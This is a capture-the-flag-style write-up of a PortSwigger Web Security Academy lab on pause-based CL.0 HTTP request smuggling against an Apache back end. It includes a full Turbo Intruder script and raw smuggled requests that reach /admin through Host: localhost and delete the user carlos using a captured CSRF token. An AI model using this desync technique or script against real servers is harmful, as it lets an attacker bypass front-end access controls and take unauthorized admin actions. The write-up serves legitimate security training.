| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — Pause-Based CL.0, Admin Bypass |
| Difficulty | Expert |
| Objective | Identify a pause-based CL.0 desync vector, access /admin, and delete carlos |
| Note | Requires Turbo Intruder — Burp's core tools can't execute the timing-based send. |
Server-Side Pause-Based Request Smuggling¶
Running Burp Scanner identifies that /resources endpoints don't close the back-end connection after a timeout. The server is Apache 2.4.52. Requesting a path under /resources without a trailing slash triggers a redirect:
GET /resources HTTP/2
HTTP/2 302 Found
Location: /resources/
Switching to POST and HTTP/1.1 and trying to smuggle directly:
POST /resources HTTP/1.1
Content-Length: 83
GET /miku HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net
Sending this as a complete request, then a normal GET / on the same connection — both return normal responses. No desync.
The server isn't ignoring Content-Length when the full body arrives at once. That's where pause-based desync differs from standard CL.0: instead of ignoring Content-Length outright, the server initially waits for the body, but if a pause in the TCP stream is long enough, the back-end's parser times out and forgets the pending body. When the rest of the request arrives after the pause, the back-end treats it as a brand new request instead of the continuation it was waiting for.
The attack has to be staged in two parts separated by a delay: send the headers plus the start of the body — including the smuggled prefix — then pause longer than the back-end's timeout (~61 seconds here), then send the rest of the body. By that point the back-end has given up on the first request, so the bytes from the second part get processed as a new, independent request. Burp Repeater can't do this — it sends the full request in one shot. Turbo Intruder is needed for the timing control.
Turbo Intruder's pauseMarker parameter pauses transmission at a specific point in the body, waits pauseTime milliseconds, then resumes:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False
)
attacker_request = """POST /resources HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s"""
smuggled_request = """GET /miku HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net
"""
normal_request = """GET / HTTP/1.1
Host: 0a7f007b0498593f81ed2a520089005b.web-security-academy.net
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, interesting):
table.add(req)
attacker_request is a POST to /resources with Content-Length and body filled at runtime via the %s placeholders. smuggled_request is the payload left in the back-end buffer. normal_request is the probe sent after the desync — if it gets the smuggled response, the attack worked. pauseMarker=['\r\n\r\nGET'] pauses transmission right before the GET in the body, so the headers and blank line arrive first and the smuggled GET arrives after the wait. pauseTime=61000 (61 seconds) outlasts the back-end's timeout. concurrentConnections=1, requestsPerConnection=100 keeps both requests on the same TCP connection.
After launching the attack and waiting ~61 seconds, both requests complete:
The normal GET / request returns 302 Found with Location: /miku/ — the back-end processed the smuggled GET /miku as the next request and delivered that response to the probe. Pause-based desync confirmed.
Changing the smuggled request to GET /admin/ with Host: localhost:
smuggled_request = """GET /admin/ HTTP/1.1
Host: localhost
"""
The probe returns HTTP/1.1 401 Unauthorized — Admin interface only available to local users. Different from the front-end's Path /admin is blocked — the smuggled request is bypassing the front-end entirely and hitting the back-end directly. Setting Host: localhost:
200 OK — the admin panel body comes back, with the delete form and a CSRF token.
Updating the smuggled request to a POST to /admin/delete/ with the CSRF token and username=carlos, and changing pauseMarker to '\r\n\r\nPOST' to match the new method:
smuggled_request = """POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Length: 53
csrf=VnbYb3xRVTunrWl5h6tBm9X22LNABgBW&username=carlos
"""
engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nPOST'], pauseTime=61000)
The CSRF token is a one-time value pulled from the 200 OK response in the previous step, so it has to be used immediately before it expires.
Launching the attack and waiting:
Both requests return 302.
Carlos is deleted and the lab will be solved o.o